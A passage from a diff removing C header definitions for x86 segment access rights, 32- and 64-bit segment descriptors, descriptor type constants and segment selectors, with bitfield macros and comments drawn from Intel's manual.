SEGMENT_ACCESS_RIGHTS_SYSTEM_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_SYSTEM(_) (((_) >> 20) & 0x01) - - /** - * @brief L (64-bit code segment) flag - * - * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment - * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A - * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then - * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to - * 0. - */ - uint32_t long_mode : 1; -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 21 -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x200000 -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 21) & 0x01) - - /** - * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag - * - * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an - * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and - * to 0 for 16-bit code and data segments.) - * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and - * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands - * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can - * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other - * than the default. - * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the - * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a - * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer - * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment - * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. - * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag - * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). - */ - uint32_t default_big : 1; -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 22 -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x400000 -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 22) & 0x01) - - /** - * @brief G (granularity) flag - * - * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is - * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not - * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve - * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when - * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. - */ - uint32_t granularity : 1; -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 23 -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x800000 -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 23) & 0x01) - uint32_t reserved3 : 8; - }; - - uint32_t flags; -} segment_access_rights; - -/** - * @brief General Segment Descriptor (32-bit) - * - * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a - * segment, as well as access control and status information. Segment descriptors are typically created by compilers, - * linkers, loaders, or the operating system or executive, but not application programs. - * - * @see Vol3A[5.2(FIELDS AND FLAGS USED FOR SEGMENT-LEVEL AND PAGE-LEVEL PROTECTION)] - * @see Vol3A[5.2.1(Code-Segment Descriptor in 64-bit Mode)] - * @see Vol3A[5.8.3(Call Gates)] - * @see Vol3A[6.11(IDT DESCRIPTORS)] - * @see Vol3A[6.14.1(64-Bit Mode IDT)] - * @see Vol3A[7.2.2(TSS Descriptor)] - * @see Vol3A[7.2.3(TSS Descriptor in 64-bit mode)] - * @see Vol3A[7.2.5(Task-Gate Descriptor)] - * @see Vol3A[3.4.5(Segment Descriptors)] (reference) - */ -typedef struct -{ - /** - * @brief Segment limit field (15:00) - * - * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The - * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: - * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. - * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. - * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an - * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. - * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or - * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; - * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. - * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. - * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the - * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism - * convenient for expandable stacks. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint16_t segment_limit_low; - - /** - * @brief Base address field (15:00) - * - * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the - * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. - * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and - * data on 16-byte boundaries. - */ - uint16_t base_address_low; - /** - * @brief Segment descriptor fields - */ - union - { - struct - { - /** - * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. - */ - uint32_t base_address_middle : 8; -#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 -#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) - - /** - * @brief Type field - * - * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the - * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an - * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, - * data, and system descriptors. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint32_t type : 4; -#define SEGMENT__TYPE_BIT 8 -#define SEGMENT__TYPE_FLAG 0xF00 -#define SEGMENT__TYPE_MASK 0x0F -#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) - - /** - * @brief S (descriptor type) flag - * - * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S - * flag is set). - */ - uint32_t descriptor_type : 1; -#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 -#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 -#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 -#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) - - /** - * @brief DPL (descriptor privilege level) field - * - * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a - * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. - */ - uint32_t descriptor_privilege_level : 2; -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) - - /** - * @brief P (segment-present) flag - * - * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the - * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor - * is loaded into a segment register. Memory management software can use this flag to control which segments are actually - * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. - */ - uint32_t present : 1; -#define SEGMENT__PRESENT_BIT 15 -#define SEGMENT__PRESENT_FLAG 0x8000 -#define SEGMENT__PRESENT_MASK 0x01 -#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) - - /** - * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. - */ - uint32_t segment_limit_high : 4; -#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 -#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 -#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F -#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) - - /** - * @brief Available bit - * - * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. - */ - uint32_t system : 1; -#define SEGMENT__SYSTEM_BIT 20 -#define SEGMENT__SYSTEM_FLAG 0x100000 -#define SEGMENT__SYSTEM_MASK 0x01 -#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) - - /** - * @brief L (64-bit code segment) flag - * - * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment - * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A - * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then - * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to - * 0. - */ - uint32_t long_mode : 1; -#define SEGMENT__LONG_MODE_BIT 21 -#define SEGMENT__LONG_MODE_FLAG 0x200000 -#define SEGMENT__LONG_MODE_MASK 0x01 -#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) - - /** - * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag - * - * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an - * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and - * to 0 for 16-bit code and data segments.) - * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and - * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands - * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can - * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other - * than the default. - * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the - * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a - * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer - * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment - * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. - * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag - * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). - */ - uint32_t default_big : 1; -#define SEGMENT__DEFAULT_BIG_BIT 22 -#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 -#define SEGMENT__DEFAULT_BIG_MASK 0x01 -#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) - - /** - * @brief G (granularity) flag - * - * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is - * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not - * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve - * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when - * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. - */ - uint32_t granularity : 1; -#define SEGMENT__GRANULARITY_BIT 23 -#define SEGMENT__GRANULARITY_FLAG 0x800000 -#define SEGMENT__GRANULARITY_MASK 0x01 -#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) - - /** - * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. - */ - uint32_t base_address_high : 8; -#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 -#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 -#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - }; - -} segment_descriptor_32; - -/** - * @brief General Segment Descriptor (64-bit) - * - * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a - * segment, as well as access control and status information. Segment descriptors are typically created by compilers, - * linkers, loaders, or the operating system or executive, but not application programs. - * - * @see Vol3A[3.4.5(Segment Descriptors)] (reference) - */ -typedef struct -{ - /** - * @brief Segment limit field (15:00) - * - * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The - * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: - * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. - * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. - * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an - * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. - * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or - * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; - * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. - * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. - * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the - * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism - * convenient for expandable stacks. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint16_t segment_limit_low; - - /** - * @brief Base address field (15:00) - * - * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the - * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. - * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and - * data on 16-byte boundaries. - */ - uint16_t base_address_low; - /** - * @brief Segment descriptor fields - */ - union - { - struct - { - /** - * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. - */ - uint32_t base_address_middle : 8; -#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 -#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) - - /** - * @brief Type field - * - * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the - * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an - * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, - * data, and system descriptors. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint32_t type : 4; -#define SEGMENT__TYPE_BIT 8 -#define SEGMENT__TYPE_FLAG 0xF00 -#define SEGMENT__TYPE_MASK 0x0F -#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) - - /** - * @brief S (descriptor type) flag - * - * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S - * flag is set). - */ - uint32_t descriptor_type : 1; -#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 -#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 -#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 -#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) - - /** - * @brief DPL (descriptor privilege level) field - * - * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a - * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. - */ - uint32_t descriptor_privilege_level : 2; -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) - - /** - * @brief P (segment-present) flag - * - * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the - * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor - * is loaded into a segment register. Memory management software can use this flag to control which segments are actually - * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. - */ - uint32_t present : 1; -#define SEGMENT__PRESENT_BIT 15 -#define SEGMENT__PRESENT_FLAG 0x8000 -#define SEGMENT__PRESENT_MASK 0x01 -#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) - - /** - * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. - */ - uint32_t segment_limit_high : 4; -#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 -#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 -#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F -#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) - - /** - * @brief Available bit - * - * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. - */ - uint32_t system : 1; -#define SEGMENT__SYSTEM_BIT 20 -#define SEGMENT__SYSTEM_FLAG 0x100000 -#define SEGMENT__SYSTEM_MASK 0x01 -#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) - - /** - * @brief L (64-bit code segment) flag - * - * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment - * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A - * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then - * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to - * 0. - */ - uint32_t long_mode : 1; -#define SEGMENT__LONG_MODE_BIT 21 -#define SEGMENT__LONG_MODE_FLAG 0x200000 -#define SEGMENT__LONG_MODE_MASK 0x01 -#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) - - /** - * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag - * - * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an - * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and - * to 0 for 16-bit code and data segments.) - * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and - * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands - * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can - * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other - * than the default. - * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the - * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a - * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer - * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment - * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. - * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag - * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). - */ - uint32_t default_big : 1; -#define SEGMENT__DEFAULT_BIG_BIT 22 -#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 -#define SEGMENT__DEFAULT_BIG_MASK 0x01 -#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) - - /** - * @brief G (granularity) flag - * - * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is - * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not - * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve - * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when - * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. - */ - uint32_t granularity : 1; -#define SEGMENT__GRANULARITY_BIT 23 -#define SEGMENT__GRANULARITY_FLAG 0x800000 -#define SEGMENT__GRANULARITY_MASK 0x01 -#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) - - /** - * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. - */ - uint32_t base_address_high : 8; -#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 -#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 -#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - }; - - - /** - * Base address field (32:63); see description of $BASE_LOW for more details. - */ - uint32_t base_address_upper; - - /** - * Base address field (32:63); see description of $BASE_LOW for more details. - */ - uint32_t must_be_zero; -} segment_descriptor_64; - -#define SEGMENT_DESCRIPTOR_TYPE_SYSTEM 0x00000000 -#define SEGMENT_DESCRIPTOR_TYPE_CODE_OR_DATA 0x00000001 -/** - * @defgroup segment_descriptor_code_and_data_type \ - * Code- and Data-Segment Descriptor Types - * - * When the S (descriptor type) flag in a segment descriptor is set, the descriptor is for either a code or a data segment. - * The highest order bit of the type field (bit 11 of the second double word of the segment descriptor) then determines - * whether the descriptor is for a data segment (clear) or a code segment (set). For data segments, the three low-order - * bits of the type field (bits 8, 9, and 10) are interpreted as accessed (A), write-enable (W), and expansion-direction - * (E). See Table 3-1 for a description of the encoding of the bits in the type field for code and data segments. Data - * segments can be read-only or read/write segments, depending on the setting of the write-enable bit. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] (reference) - * @{ - */ - /** - * Read-Only. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY 0x00000000 - - /** - * Data Read-Only, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_ACCESSED 0x00000001 - - /** - * Data Read/Write. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE 0x00000002 - - /** - * Data Read/Write, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_ACCESSED 0x00000003 - - /** - * Data Read-Only, expand-down. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN 0x00000004 - - /** - * Data Read-Only, expand-down, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_ONLY_EXPAND_DOWN_ACCESSED 0x00000005 - - /** - * Data Read/Write, expand-down. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN 0x00000006 - - /** - * Data Read/Write, expand-down, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_DATA_READ_WRITE_EXPAND_DOWN_ACCESSED 0x00000007 - - /** - * Code Execute-Only. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY 0x00000008 - - /** - * Code Execute-Only, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_ACCESSED 0x00000009 - - /** - * Code Execute/Read. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ 0x0000000A - - /** - * Code Execute/Read, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_ACCESSED 0x0000000B - - /** - * Code Execute-Only, conforming. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING 0x0000000C - - /** - * Code Execute-Only, conforming, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_ONLY_CONFORMING_ACCESSED 0x0000000D - - /** - * Code Execute/Read, conforming. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING 0x0000000E - - /** - * Code Execute/Read, conforming, accessed. - */ -#define SEGMENT_DESCRIPTOR_TYPE_CODE_EXECUTE_READ_CONFORMING_ACCESSED 0x0000000F - /** - * @} - */ - - /** - * @defgroup segment_descriptor_system_type \ - * System Descriptor Types - * - * When the S (descriptor type) flag in a segment descriptor is clear, the descriptor type is a system descriptor. The - * processor recognizes the following types of system descriptors: - * - Local descriptor-table (LDT) segment descriptor. - * - Task-state segment (TSS) descriptor. - * - Call-gate descriptor. - * - Interrupt-gate descriptor. - * - Trap-gate descriptor. - * - Task-gate descriptor. - * These descriptor types fall into two categories: system-segment descriptors and gate descriptors. Systemsegment - * descriptors point to system segments (LDT and TSS segments). Gate descriptors are in themselves "gates," which hold - * pointers to procedure entry points in code segments (call, interrupt, and trap gates) or which hold segment selectors - * for TSS's (task gates). - * - * @see Vol3A[3.5(SYSTEM DESCRIPTOR TYPES)] (reference) - * @{ - */ - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_1 0x00000000 - - /** - * - 32-Bit Mode: 16-bit TSS (Available) - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_AVAILABLE 0x00000001 - - /** - * - 32-Bit Mode: LDT - * - IA-32e Mode: LDT - */ -#define SEGMENT_DESCRIPTOR_TYPE_LDT 0x00000002 - - /** - * - 32-Bit Mode: 16-bit TSS (Busy) - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_16_BUSY 0x00000003 - - /** - * - 32-Bit Mode: 16-bit Call Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE_16 0x00000004 - - /** - * - 32-Bit Mode: Task Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TASK_GATE 0x00000005 - - /** - * - 32-Bit Mode: 16-bit Interrupt Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE_16 0x00000006 - - /** - * - 32-Bit Mode: 16-bit Trap Gate - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE_16 0x00000007 - - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_2 0x00000008 - - /** - * - 32-Bit Mode: 32-bit TSS (Available) - * - IA-32e Mode: 64-bit TSS (Available) - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_AVAILABLE 0x00000009 - - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_3 0x0000000A - - /** - * - 32-Bit Mode: 32-bit TSS (Busy) - * - IA-32e Mode: 64-bit TSS (Busy) - */ -#define SEGMENT_DESCRIPTOR_TYPE_TSS_BUSY 0x0000000B - - /** - * - 32-Bit Mode: 32-bit Call Gate - * - IA-32e Mode: 64-bit Call Gate - */ -#define SEGMENT_DESCRIPTOR_TYPE_CALL_GATE 0x0000000C - - /** - * - 32-Bit Mode: Reserved - * - IA-32e Mode: Reserved - */ -#define SEGMENT_DESCRIPTOR_TYPE_RESERVED_4 0x0000000D - - /** - * - 32-Bit Mode: 32-bit Interrupt Gate - * - IA-32e Mode: 64-bit Interrupt Gate - */ -#define SEGMENT_DESCRIPTOR_TYPE_INTERRUPT_GATE 0x0000000E - - /** - * - 32-Bit Mode: 32-bit Trap Gate - * - IA-32e Mode: 64-bit Trap Gate - */ -#define SEGMENT_DESCRIPTOR_TYPE_TRAP_GATE 0x0000000F - /** - * @} - */ - - /** - * @brief A segment selector is a 16-bit identifier for a segment. It does not point directly to the segment, but instead - * points to the segment descriptor that defines the segment - * - * @see Vol3A[3.4.2(Segment Selectors)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bits 1:0] Specifies the privilege level of the selector. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. - * - * @see Vol3A[5.5(Privilege Levels)] - */ - uint16_t request_privilege_level : 2; -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_BIT 0 -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_FLAG 0x03 -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT_SELECTOR_REQUEST_PRIVILEGE_LEVEL(_) (((_) >> 0) & 0x03) - - /** - * [Bit 2] Specifies the descriptor table to use: clearing this flag selects the GDT; setting this flag selects the current - * LDT. - */ - uint16_t table : 1; -#define SEGMENT_SELECTOR_TABLE_BIT 2 -#define SEGMENT_SELECTOR_TABLE_FLAG 0x04 -#define SEGMENT_SELECTOR_TABLE_MASK 0x01 -#define SEGMENT_SELECTOR_TABLE(_) (((_) >> 2) & 0x01) - - /** - * [Bits 15:3] Selects one of 8192 descriptors in the GDT or LDT. The processor multiplies the index value by 8 (the number - * of bytes in a segment descriptor) and adds the result to the base address of the GDT or LDT (from the GDTR or LDTR - * register, respectively). - */ - uint16_t index : 13; -#define SEGMENT_SELECTOR_INDEX_BIT 3 -#define SEGMENT_SELECTOR_INDEX_FLAG 0xFFF8 -#define SEGMENT_SELECTOR_INDEX_MASK 0x1FFF -#define SEGMENT_SELECTOR_INDEX(_) (((_) >> 3) & 0x1FFF) - }; - - uint16_t flags; -} segment_selector; - -/** - * @} - */ - - /** - * @defgroup vmx \ - * VMX - * @{ - */ - /** - * @{ - */ - /** - * @defgroup 